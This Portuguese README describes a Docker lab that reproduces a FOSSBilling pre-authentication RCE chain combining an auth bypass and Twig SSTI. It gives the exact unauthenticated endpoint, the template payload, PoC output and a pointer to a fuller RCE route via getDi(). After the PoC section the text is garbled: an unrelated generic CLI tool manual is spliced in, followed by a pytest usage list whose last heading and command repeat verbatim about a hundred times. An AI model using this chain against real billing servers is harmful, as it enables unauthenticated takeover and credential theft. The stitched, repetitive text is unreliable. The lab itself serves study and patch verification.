
Laboratório Docker que reproduz a cadeia de RCE pré-autenticação do FOSSBilling (bypass de autenticação CVE-2026-27604 + Twig SSTI CVE-2026-28496) com um PoC em Python e um alvo de comparação corrigido.
| CVE | Tipo | CVSS v4 | GHSA | Descrição |
|---|
| CVE-2026-27604 | Bypass de Autenticação | 10.0 | GHSA-78x5-c8gw-8279 | Falta de throw no verificador de função da API expõe endpoints administrativos a chamadores não autenticados |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Renderização de template Twig sem sandbox via API string_render |
O FOSSBilling é uma plataforma gratuita e de código aberto para faturamento e gestão de clientes. As versões 0.5.4 até 0.7.2 são afetadas. O FOSSBilling 0.8.0 corrige ambas as vulnerabilidades.
Este laboratório compara duas versões do FOSSBilling:
| Serviço | Versão do FOSSBilling | Propósito | URL |
|---|---|---|---|
| vuln | 0.7.2 | Alvo vulnerável | http://localhost:8081 |
| patched | 0.8.0 | Alvo corrigido | http://localhost:8082 |
A cadeia validada neste laboratório local é:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
O alvo corrigido (0.8.0) retorna:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
O laboratório é intencionalmente limitado a serviços Docker locais. Não tem como alvo sistemas externos e não inclui web shells, malware, persistência, callbacks externos, extração de bases de dados ou payloads destrutivos.
O RCE Pré-Autenticação requer que ambas as vulnerabilidades funcionem em conjunto:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
Este laboratório demonstra a cadeia usando a prova aritmética segura `{{ 7*7 }}`. O caminho completo de RCE via `getDi()` não é demonstrado.
## Fatos Verificados
| Afirmação | Evidência | Como verificar |
| ----- | -------- | ------------- |
| CVE-2026-27604 é um bypass de autenticação no tratamento de funções da API do FOSSBilling. | GHSA-78x5-c8gw-8279: throw ausente no verificador de funções permite que /api/system/ seja resolvido como admin. | Execute o PoC: o caminho de convidado é negado, o caminho de sistema retorna resultado de admin. |
| CVE-2026-28496 é um SSTI na renderização Twig do FOSSBilling. | GHSA-57mv-jm88-66jc: string_render passa _tpl para Twig createTemplate() sem sandbox. | Execute o PoC: o servidor avalia {{ 7*7 }} e retorna 49. |
| Ambas as vulnerabilidades afetam o FOSSBilling 0.5.4 até 0.7.2. | Avisos públicos identificam a faixa de versões afetadas. | Compare os alvos vulnerável (0.7.2) e corrigido (0.8.0). |
| O FOSSBilling 0.8.0 corrige ambas as vulnerabilidades. | O alvo corrigido retorna "Unknown API call" para o endpoint testado. | Execute o PoC contra a porta 8082. |
| O bypass de autenticação concede acesso de admin não autenticado. | /api/guest/ nega string_render; /api/system/ retorna o resultado sem autenticação. | Execute o Estágio 1 do PoC. |
| O SSTI avalia templates controlados pelo atacante. | {{ 7*7 }} retorna 49 através do caminho vulnerável. | Execute o Estágio 2 do PoC. |
| A cadeia possibilita RCE Pré-Autenticação. | Bypass de autenticação + SSTI = injeção de template não autenticada com contexto de admin. | Execute o PoC da cadeia completa. |
| O PoC é somente HTTP. | poc.py envia apenas requisições HTTP POST. | Inspecione poc/poc.py. |
## Análise de Causa Raiz
### CVE-2026-27604: Bypass de Autenticação
A API do FOSSBilling resolve funções a partir do caminho da URL:```text
/api/:role/:module/:method
O verificador de funções valida se a função solicitada é permitida. No entanto, em versões vulneráveis, a exceção para funções não permitidas é instanciada mas nunca lançada:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
Como a exceção nunca é lançada, a validação passa silenciosamente. A função `system` é resolvida para a identidade de administrador do cron, concedendo acesso total à API de administração a qualquer chamador não autenticado.
O impacto de segurança:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
O papel system mapeia para a identidade interna de administrador do cron, que possui privilégios administrativos totais.
O método da API de administração string_render recebe _tpl dos dados da requisição e o passa para o pipeline de renderização de templates Twig sem aplicação de sandbox:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
O método `renderString()` recorre a `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
O problema crítico: createTemplate($tpl) cria um template Twig a partir da string controlada pelo atacante e o renderiza sem restrições de sandbox. O template tem acesso a objetos no contexto do template, incluindo o manipulador da API de convidado que expõe getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## Resumo do Patch de Origem
O FOSSBilling 0.8.0 corrige ambas as vulnerabilidades:
**Correção de Bypass de Autenticação (CVE-2026-27604):**
O verificador de funções agora lança corretamente a exceção para funções não permitidas.
**Correção de SSTI (CVE-2026-28496):**
A renderização de templates é encaminhada através de um renderizador em sandbox:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
A política de sandbox bloqueia o acesso a métodos e propriedades por padrão:```php $methods = []; $properties = [];
Para o caminho da API pública testado neste laboratório, o FOSSBilling 0.8.0 não expõe o endpoint testado de forma alguma:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Uma verificação de regressão ao nível do código-fonte confirma a correção mais profunda:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## Arquitetura do Laboratório```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| Serviço | Componente | Versão / Função |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 alvo vulnerável |
| patched | FOSSBilling | 0.8.0 alvo corrigido |
| vuln-db | MariaDB | banco de dados para o alvo vulnerável |
| patched-db | MariaDB | banco de dados para o alvo corrigido |
| installer-vuln | curl sidecar | instala automaticamente o alvo vulnerável |
| installer-patched | curl sidecar | instala automaticamente o alvo corrigido |
Serviços expostos por padrão:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Os sidecars do instalador são executados automaticamente durante o `docker compose up`. Eles inicializam ambos os alvos do FOSSBilling com credenciais locais descartáveis e, em seguida, encerram.
## Requisitos
* Docker Desktop ou Docker Engine
* Docker Compose v2
* Python 3
* Acesso à Internet durante o primeiro pull da imagem Docker
Nenhum pacote Python de terceiros é necessário. O PoC utiliza apenas módulos da biblioteca padrão do Python.
## Início Rápido
Inicie o laboratório a partir de um estado limpo:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Verificar o status do serviço:```bash docker compose ps -a
Serviços em execução esperados:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Serviços de instalador concluídos esperados (código de saída 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Verifique os logs do instalador:```bash
docker compose logs installer-vuln installer-patched
Execute a validação da cadeia contra o alvo vulnerável:```bash python3 poc/poc.py --url http://localhost:8081
Execute a validação da cadeia contra o alvo corrigido:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
Exemplos:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
O PoC valida ambas as CVEs em três estágios:
Estágio 1 — Bypass de Autenticação (CVE-2026-27604): Compara o caminho da API de convidado com o caminho da API de sistema para provar acesso administrativo não autenticado.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**Estágio 2 — SSTI (CVE-2026-28496):**
Confirma a avaliação de template do lado do servidor através do endpoint de administração contornado.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
Estágio 3 — Avaliação da Cadeia: Resume o resultado combinado da cadeia.
O PoC é apenas HTTP. Não chama Docker, Docker Compose, comandos de shell ou APIs de contêiner.
python3 poc/poc.py --url http://localhost:8081
| | | |
|---|---|---|
| `-s` | `--server` | Executa em modo servidor (sem interface interativa) |
| `-p` | `--port` | Porta para o servidor escutar (padrão: 8080) |
| `-c` | `--config` | Caminho para o arquivo de configuração |
| `-v` | `--verbose` | Habilita saída detalhada |
| `-h` | `--help` | Exibe a mensagem de ajuda |
| `-V` | `--version` | Exibe a versão do programa |
### Exemplos de Uso
```bash
# Inicia o servidor na porta padrão
./tool --server
# Inicia o servidor em uma porta específica com saída detalhada
./tool -s -p 9090 -v
# Usa um arquivo de configuração personalizado
./tool --config /etc/tool/config.yaml
O arquivo de configuração usa o formato YAML:
server:
host: 0.0.0.0
port: 8080
timeout: 30s
logging:
level: info
format: json
O servidor não inicia
Verifique se a porta já está em uso:
netstat -tulpn | grep 8080
Erros de permissão
Certifique-se de que o binário tem permissões de execução:
chmod +x ./tool
Problemas de conexão
Verifique as regras de firewall e certifique-se de que a porta está acessível:
curl -v http://localhost:8080/health
``````text
============================================================
CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
Scope: authorized local lab target only
Target: http://localhost:8081
============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================
[1a] Guest role: POST /api/guest/system/string_render
status=400
error={'message': '...', 'code': ...}
→ Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render
status=200
result=49
→ Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
CVE-2026-27604 CONFIRMED
============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================
[2] POST /api/system/system/string_render
body={"_tpl": "{{ 7*7 }}"}
status=200
response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
CVE-2026-28496 CONFIRMED
============================================================
STAGE 3: Chain Assessment
============================================================
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED
CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
python3 poc/poc.py --url http://localhost:8082
## Utilização
python3 -m pip install -r requirements.txt python3 -m pip install -e .
### Execução de um único teste
python3 -m pytest -s -v tests/test_xxx.py
### Execução de todos os testes
python3 -m pytest -s -v tests/
### Execução de todos os testes com cobertura
python3 -m pytest -s -v --cov=./ --cov-report=html tests/
### Execução de todos os testes com cobertura e relatório XML
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=xml tests/
### Execução de todos os testes com cobertura e relatório HTML
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=html tests/
### Execução de todos os testes com cobertura e relatório JSON
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=json tests/
### Execução de todos os testes com cobertura e relatório LCOV
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=lcov tests/
### Execução de todos os testes com cobertura e relatório Cobertura
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=cobertura tests/
### Execução de todos os testes com cobertura e relatório Clover
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=clover tests/
### Execução de todos os testes com cobertura e relatório JUnit
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=junit tests/
### Execução de todos os testes com cobertura e relatório SonarQube
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=sonarqube tests/
### Execução de todos os testes com cobertura e relatório Codecov
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codecov tests/
### Execução de todos os testes com cobertura e relatório Coveralls
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=coveralls tests/
### Execução de todos os testes com cobertura e relatório Codacy
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codacy tests/
### Execução de todos os testes com cobertura e relatório CodeClimate
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codeclimate tests/
### Execução de todos os testes com cobertura e relatório CodeScene
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codescene tests/
### Execução de todos os testes com cobertura e relatório CodeFactor
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codefactor tests/
### Execução de todos os testes com cobertura e relatório Codegrade
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codegrade tests/
### Execução de todos os testes com cobertura e relatório Code Inspector
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codeinspector tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
